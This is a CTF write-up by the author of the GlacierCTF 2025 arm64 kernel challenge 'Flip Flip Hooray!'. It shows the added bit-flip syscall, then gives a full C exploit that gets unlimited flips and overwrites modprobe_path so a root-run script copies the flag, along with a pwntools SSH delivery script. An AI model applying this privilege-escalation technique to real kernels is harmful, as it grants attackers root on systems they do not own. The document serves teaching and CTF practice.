GlacierCTF2025 - Flip Flip Hooray!

Author: Ernesto Martínez García

Tags: 0017 ctf pwn

Flip Flip Hooray! is a pwn challlenge I authored in GlacierCTF 2025. Some hours before the CTF end it had 18 solves.

“Flip Flip Hooray!” is a very simple kernel pwn involving the technique published by Google Project Zero on a recent blogpost.

We are given a latest arm64 kernel with a new additional syscall, flipper:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
diff -Naru a/kernel/sys.c b/kernel/sys.c
--- a/kernel/sys.c	2025-11-02 14:18:05.000000000 +0100
+++ b/kernel/sys.c	2025-11-11 16:41:53.462622275 +0100
@@ -2989,3 +2989,20 @@
 	return 0;
 }
 #endif /* CONFIG_COMPAT */
+
+SYSCALL_DEFINE2(flipper, void __user *, addr, __u8, bit)
+{
+    static u64 flips_left = 0xDEADBADC0DE00001;
+
+    if (bit >= 8)
+      return -EINVAL;
+    if (flips_left <= 0xDEADBADC0DE00000)
+      return -EINVAL;
+
+    u8 *p = (u8 *)addr;
+    *p ^= (1U << bit);
+
+    flips_left -= 1;
+
+    return 0;
+}
diff -Naru a/scripts/syscall.tbl b/scripts/syscall.tbl
--- a/scripts/syscall.tbl	2025-11-02 14:18:05.000000000 +0100
+++ b/scripts/syscall.tbl	2025-11-11 16:41:54.870632757 +0100
@@ -410,3 +410,4 @@
 467	common	open_tree_attr			sys_open_tree_attr
 468	common	file_getattr			sys_file_getattr
 469	common	file_setattr			sys_file_setattr
+666	common	flipper     			sys_flipper

The syscall is used to flip one single bit.

That is the only modification that has been done to the kernel.

Knowing the location to flips_left, a player could achieve infinite bitflips. The problem is that theoretically this should not be possible.

The challence circles arround the following blogpost by project zero. I recommend first reading this blogpost before continuing reading this writeup. I could try to re-explain it but I probably cannot do it better :) (and I am beyond fried)

After we know the physmap is not randomized, we can look for flips_left on the physmap. The blogpost calculates it by hand, I brute-searched on the debugger:

pwndbg> search -t qword 0xDEADBADC0DE00001
Searching for an 8-byte integer: b'\x01\x00\xe0\r\xdc\xba\xad\xde'
[pt_ffffff8002040] 0xffffff8002381dc0 0xdeadbadc0de00001

Even if KASLR is enabled, this pointer will stay the same. You can try by yourself rebooting.

With our single flip, we can flip flips_left to achieve infinite bitflips.

Then, modprobe is writeable so we look for it on the physmap:

pwndbg> search -t string "/sbin/modprobe"
Searching for string: b'/sbin/modprobe\x00'
[pt_ffffff8002040] 0xffffff80023fcbc0 '/sbin/modprobe'

Again, that pointer will stay the same always. Not randomized.

Finally, with the obtained infinite bitflips, we overwrite modprobe with a custom malicious script, which will get run as root. Nothing interesting starting from here.

We create a script that copies /flag.txt into /tmp/flag.txt and does chmod 777 /tmp/flag.txt. We set the modprobe path to that script and trigger a modprobe path. The kernel runs it as root and we can read our newly copied flag.

The final exploit.c would look like the following. A player just compiles, copies and runs it on the remote.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#define _GNU_SOURCE
#include <errno.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <getopt.h>

#define BUG()                                                                  \
  do {                                                                         \
    fprintf(stderr, "Error on %s:%d\n", __FILE__, __LINE__);                   \
    abort();                                                                   \
  } while (0)
#define unlikely(x) __builtin_expect(!!(x), 0)
#define BUG_ON(condition)                                                      \
  do {                                                                         \
    if (unlikely(condition))                                                   \
      BUG();                                                                   \
  } while (0)

#ifndef __NR_flipper
#define __NR_flipper 666
#endif

#define FLIPS_LEFT_ADDR      0xffffff8002381dc0
#define MODPROBE_PATH_ADDR   0xffffff80023fcbc0
#define MODPROBE_PATH        "/sbin/modprobe"
#define EXPLOIT_PATH         "/tmp/a\00"

void flip(uintptr_t opt_addr, unsigned char bit) {
    unsigned char *target_ptr = (unsigned char *)(uintptr_t)opt_addr;
    printf("  flipper(%p,%d)\n", target_ptr, bit);
    BUG_ON(syscall(__NR_flipper, (void*)target_ptr, (unsigned char)bit) < 0);
}

void exploit(){
    printf("[+] Creating a fake modprobe program in /tmp/a\n");
    printf("  cp /flag.txt /tmp/flag.txt; chmod 777 /tmp/flag.txt\n");
    system("echo '#!/bin/sh\ncp /flag.txt /tmp/flag.txt\nchmod 777 /tmp/flag.txt' > /tmp/a");
    system("chmod +x /tmp/a");

    printf("[+] Obtaining infinite bitflips at %p\n", (void *)FLIPS_LEFT_ADDR);
    flip(FLIPS_LEFT_ADDR + 7, 0);

    printf("[+] Overwriting modprobe with /tmp/a at %p\n", (void *)MODPROBE_PATH_ADDR);
    size_t l = strlen(EXPLOIT_PATH) + 1;
    for(size_t i = 0; i < l ; i++) {
        uint8_t m = EXPLOIT_PATH[i] ^ MODPROBE_PATH[i];
        for(size_t j = 0 ; j < 8 ; j++){
            if((m >> j) & 0b1)
                flip(MODPROBE_PATH_ADDR + i, j);
        }
    }

    // Funnily enough while debugging I noticed this caused modprobe_path to run, so I take it
    printf("[*] Forcing modprobe to be loaded\n");
    printf("  yes | ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@127.0.0.1 -p 22 &>/dev/null\n");
    system("yes | ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@127.0.0.1 -p 22 &>/dev/null");

    printf("[*] Reading /tmp/flag.txt\n  ");
    system("cat /tmp/flag.txt");
}

int main(int argc, char **argv) {
    setvbuf(stdin,  NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    exploit();
    return 0;
}

On another note, all this process can be eased with pwntools ssh tubes:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
tempdir = tempfile.TemporaryDirectory()
port_instance = None
def parse_and_get_ssh(i):
    global port_instance
    i.sendlineafter(b"Press [ENTER] to start the instance", b"")

    i.recvuntil(b"-----BEGIN OPENSSH PRIVATE KEY-----")
    key = "-----BEGIN OPENSSH PRIVATE KEY-----" + \
        i.recvuntil(b"-----END OPENSSH PRIVATE KEY-----").decode()

    log.success(f"Got the key to connect:\n{key}")

    i.recvuntil(b"Connect with 'ssh -p")
    port_instance = i.recvline().decode().split()[0]

    # probably can be simplified with privkey as str on ssh()
    with open(f'{tempdir.name}/key', 'w') as f:
        f.write(key)
        f.write('\n')
    os.chmod(f"{tempdir.name}/key", 0o600)

    # This is helpful to debug manually via ssh
    log.success(f"Got the connection info: ssh -p{port_instance}" \
        f" -i {tempdir.name}/key user@{host}")

    s = None
    while s == None or not s.connected():
        try:
            s = ssh(timeout=5,
                    user='user',
                    host=host,
                    port=int(port_instance),
                    keyfile=f'{tempdir.name}/key',
                    ignore_config=True
            )
        except Exception:
            s = None

        if s == None or not s.connected():
            log.info("Challenge not ready yet, waiting...")
            sleep(5)

    return s

io = start()

pass_pow(io)
s  = parse_and_get_ssh(io)

s.upload(b"./exploit-c", b"/tmp/exploit")
sh = s.shell('/bin/sh')

sh.sendlineafter(b"$", b"chmod +x /tmp/exploit")
sh.sendlineafter(b"$", b"/tmp/exploit")

log.info("Waiting 5 seconds...")
f = find_flag(sh.recvrepeat(5))
sh.close()
s.close()
if f is not None:
    log.success(f)
    exit(0)
else:
    # Remember to return nonzero if something failed
    exit(1)

Parsing the ssh info takes less than 40 lines if you do it properly (not as I do). Pwntools has an SSH tube that accepts a key: str with the private keyfile, a host and a port. This means a few good and old recvuntil.

An AI can probably generate that code. I didn’t try but I’m very confident it can do it.

Or even better, on GlacierCTF 2024 I had the same setup, for which I published a fully automated script. One single copy-paste of a python function and calling it gives you a pwntools tube connection.

If one uses the kernel image to develop the exploit locally on its machine, it can just be compiled and ran on the remote once.

The infrastructure was developed for ksmaze, which was a ncurses challenge. Having a simple socat -> qemu -> ncurses was a pain. Interactive programs were kinda broken. We wanted it to be nicely interactive. Plus I already use this setup personally for spawning test VMs locally.

For the PoW, we cannot get over it. We wanted to have one.